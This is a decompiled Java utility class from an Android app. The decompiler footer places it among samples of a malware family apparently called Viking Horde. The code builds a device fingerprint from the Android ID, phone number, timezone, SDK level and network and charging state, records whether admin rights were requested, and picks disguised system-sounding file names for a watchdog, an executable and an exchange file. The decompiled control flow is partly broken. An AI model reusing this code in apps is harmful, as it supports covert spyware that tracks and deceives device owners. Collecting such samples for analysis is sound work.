package com.fa.c;

import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.os.Build.VERSION;
import android.preference.PreferenceManager;
import android.provider.Settings.Secure;
import android.telephony.TelephonyManager;
import android.util.Log;
import com.jaredrummler.android.processes.ProcessManager;
import com.jaredrummler.android.processes.models.AndroidAppProcess;
import java.util.Iterator;
import java.util.List;
import java.util.Random;
import java.util.TimeZone;

public class Utilities
{
  private static String[] names = { "update.dat", "settings.bin", "update.bin", "settings.dat", "kernel.bin", "core.bin", "core.sys", "hot_fix.dat", "android.bin", "sys.bin", "inet.dat", "wifi.bin", "fix.bin", "sys_driver.sys", "lock.dat" };
  
  public static boolean GetAdminRightsAsked(Context paramContext)
  {
    return GetPreferences(paramContext).contains("ADMIN_RIGHTS_ASKED");
  }
  
  public static String GetDeviceId(Context paramContext)
  {
    return Settings.Secure.getString(paramContext.getApplicationContext().getContentResolver(), "android_id");
  }
  
  public static byte[] GetDeviceInfoBytes(Context paramContext)
  {
    int k;
    byte[] arrayOfByte;
    int m;
    int i;
    int n;
    try
    {
      k = (byte)(TimeZone.getDefault().getRawOffset() / 1000 / 60 / 60);
      arrayOfByte = ToBytes(Settings.Secure.getString(paramContext.getApplicationContext().getContentResolver(), "android_id").toCharArray());
      m = (byte)Build.VERSION.SDK_INT;
      i = 0;
      if (((ConnectivityManager)paramContext.getSystemService("connectivity")).getNetworkInfo(1).isConnected()) {
        i = 1;
      }
      if (paramContext.getApplicationContext().registerReceiver(null, new IntentFilter("android.intent.action.BATTERY_CHANGED")).getIntExtra("plugged", -1) != 1) {
        break label230;
      }
      n = 1;
    }
    catch (Exception paramContext)
    {
      Log.d("CPS", "GetDeviceInfoBytes " + paramContext.getMessage());
      return null;
    }
    paramContext = new byte[20];
    int i1;
    if (arrayOfByte.length < 16)
    {
      i1 = arrayOfByte.length;
      n = 0;
    }
    for (;;)
    {
      int j;
      if (n < 16)
      {
        paramContext[n] = arrayOfByte[n];
        n += 1;
        continue;
        j = 0;
        if (n == 0) {
          break;
        }
        j = 1;
        break;
        label189:
        if (n < i1) {
          break label236;
        }
        n = i1;
      }
      for (;;)
      {
        if (n >= 16)
        {
          paramContext[16] = k;
          paramContext[17] = m;
          paramContext[18] = j;
          paramContext[19] = i;
          return paramContext;
          label230:
          n = 0;
          break;
          label236:
          paramContext[n] = arrayOfByte[n];
          n += 1;
          break label189;
        }
        paramContext[n] = 48;
        n += 1;
      }
      n = 0;
    }
  }
  
  public static String GetDeviceInfoCommandLineArgs(Context paramContext)
  {
    for (;;)
    {
      int j;
      try
      {
        int m = (byte)(TimeZone.getDefault().getRawOffset() / 1000 / 60 / 60);
        byte[] arrayOfByte = ToBytes(Settings.Secure.getString(paramContext.getApplicationContext().getContentResolver(), "android_id").toCharArray());
        int n = (byte)Build.VERSION.SDK_INT;
        int i = 0;
        if (((ConnectivityManager)paramContext.getSystemService("connectivity")).getNetworkInfo(1).isConnected()) {
          i = 1;
        }
        if (paramContext.getApplicationContext().registerReceiver(null, new IntentFilter("android.intent.action.BATTERY_CHANGED")).getIntExtra("plugged", -1) == 1)
        {
          j = 1;
          break label183;
          paramContext = new String(arrayOfByte, "UTF-8") + " " + m + " " + n + " " + k + " " + i;
          return paramContext;
        }
        else
        {
          j = 0;
        }
      }
      catch (Exception paramContext)
      {
        Log.d("CPS", paramContext.getMessage());
        return null;
      }
      label183:
      int k = 0;
      if (j != 0) {
        k = 1;
      }
    }
  }
  
  public static String GetDeviceInfoString(Context paramContext)
  {
    try
    {
      paramContext = GetDeviceInfoBytes(paramContext);
      if (paramContext != null)
      {
        paramContext = new String(paramContext, "UTF-8");
        return paramContext;
      }
    }
    catch (Exception paramContext)
    {
      Log.d("CPS", " GetDeviceInfoString " + paramContext.getMessage());
    }
    return null;
  }
  
  public static String GetExchangeFileName(Context paramContext)
  {
    return GetPreferences(paramContext).getString("KEY_EXCHANGE_FILE", null);
  }
  
  public static String GetExecName(Context paramContext)
  {
    return GetPreferences(paramContext).getString("KEY_EXEC", null);
  }
  
  public static int GetInstallType(Context paramContext)
  {
    return Integer.valueOf(GetPreferences(paramContext).getString("KEY_INSTALL_TYPE", "-1")).intValue();
  }
  
  public static String GetPhoneNumber(Context paramContext)
  {
    try
    {
      String str = ((TelephonyManager)paramContext.getSystemService("phone")).getLine1Number();
      paramContext = str;
      if (str == null) {
        paramContext = "NO_SIM";
      }
      return paramContext;
    }
    catch (Exception paramContext) {}
    return "NO_SIM";
  }
  
  public static SharedPreferences GetPreferences(Context paramContext)
  {
    return PreferenceManager.getDefaultSharedPreferences(paramContext);
  }
  
  public static SharedPreferences.Editor GetPreferncesEditor(Context paramContext)
  {
    return GetPreferences(paramContext).edit();
  }
  
  public static String GetWatchDogName(Context paramContext)
  {
    return GetPreferences(paramContext).getString("KEY_WATCH_DOG", null);
  }
  
  public static boolean IsProcessRunningAndTop(String paramString)
  {
    Iterator localIterator = ProcessManager.getRunningAppProcesses().iterator();
    if (!localIterator.hasNext()) {}
    AndroidAppProcess localAndroidAppProcess;
    do
    {
      return false;
      localAndroidAppProcess = (AndroidAppProcess)localIterator.next();
      if (!localAndroidAppProcess.getPackageName().equalsIgnoreCase(paramString)) {
        break;
      }
    } while (!localAndroidAppProcess.foreground);
    return true;
  }
  
  public static boolean IsRandomNames(Context paramContext)
  {
    return GetPreferences(paramContext).contains("KEY_WATCH_DOG");
  }
  
  public static void SetAdminRightsAsked(Context paramContext)
  {
    paramContext = GetPreferences(paramContext).edit();
    paramContext.putInt("ADMIN_RIGHTS_ASKED", 1);
    paramContext.commit();
  }
  
  public static void SetInstallType(int paramInt, Context paramContext)
  {
    paramContext = GetPreferncesEditor(paramContext);
    paramContext.putString("KEY_INSTALL_TYPE", String.valueOf(paramInt));
    paramContext.commit();
  }
  
  public static void SetRandomNames(Context paramContext)
  {
    paramContext = GetPreferncesEditor(paramContext);
    Object localObject = new Random();
    int k = ((Random)localObject).nextInt(names.length);
    String str1 = names[k];
    int i = k;
    int j = i;
    String str2;
    if (k != j) {
      str2 = names[j];
    }
    for (i = j;; i = ((Random)localObject).nextInt(names.length)) {
      if ((j != i) && (k != i))
      {
        localObject = names[i];
        paramContext.putString("KEY_WATCH_DOG", str1);
        paramContext.putString("KEY_EXEC", str2);
        paramContext.putString("KEY_EXCHANGE_FILE", (String)localObject);
        paramContext.commit();
        return;
        i = ((Random)localObject).nextInt(names.length);
        break;
      }
    }
  }
  
  public static byte[] ToBytes(char[] paramArrayOfChar)
  {
    byte[] arrayOfByte = new byte[paramArrayOfChar.length];
    int i = 0;
    for (;;)
    {
      if (i >= arrayOfByte.length) {
        return arrayOfByte;
      }
      arrayOfByte[i] = ((byte)paramArrayOfChar[i]);
      i += 1;
    }
  }
  
  public static char[] ToChar(byte[] paramArrayOfByte)
  {
    char[] arrayOfChar = new char[paramArrayOfByte.length];
    int i = 0;
    for (;;)
    {
      if (i >= arrayOfChar.length) {
        return arrayOfChar;
      }
      arrayOfChar[i] = ((char)paramArrayOfByte[i]);
      i += 1;
    }
  }
}


/* Location:              /home/enzo/Documents/hacking/malwares/viking-horde/classes.jar!/com/fa/c/Utilities.class
 * Java compiler version: 6 (50.0)
 * JD-Core Version:       0.7.1
 */